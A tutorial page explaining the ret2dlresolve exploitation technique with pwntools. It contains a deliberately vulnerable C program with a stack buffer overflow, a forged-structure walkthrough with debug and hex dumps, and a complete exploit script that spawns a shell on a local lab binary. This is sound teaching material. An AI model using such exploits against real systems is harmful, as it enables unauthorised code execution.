Links
Comment on page

Exploitation

Source

To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}

Exploitation

pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
Let's use rop.dump() to break down what's happening.
[DEBUG] PLT 0x8049030 read
[DEBUG] PLT 0x8049040 __libc_start_main
[DEBUG] Symtab: 0x804820c
[DEBUG] Strtab: 0x804825c
[DEBUG] Versym: 0x80482a6
[DEBUG] Jmprel: 0x80482d8
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
[DEBUG] Version index addr: 0x8048c26
[DEBUG] Data addr: 0x804ce00
[DEBUG] PLT_INIT: 0x8049020
[*] 0x0000: b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[...]
0x004c: 0x8049030 read(0, 0x804ce00)
0x0050: 0x804921a <adjust @0x5c> pop edi; pop ebp; ret
0x0054: 0x0 arg0
0x0058: 0x804ce00 arg1
0x005c: 0x8049020 [plt_init] system(0x804ce24)
0x0060: 0x4b44 [dlresolve index]
0x0064: b'zaab' <return address>
0x0068: 0x804ce24 arg0
As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.
00000000 73 79 73 74 65 6d 00 61 63 61 61 61 a4 4b 00 00 │syst│em·a│caaa│·K··│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 ce 04 08 │····│····│····│····│
00000020 07 c0 04 00 2f 62 69 6e 2f 73 68 00 0a │····│/bin│/sh·│·│
0000002d
  • system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed
  • After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a very long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.
  • At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.
After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():
0x005c: 0x8049020 [plt_init] system(0x804ce24)

Final Exploit

from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()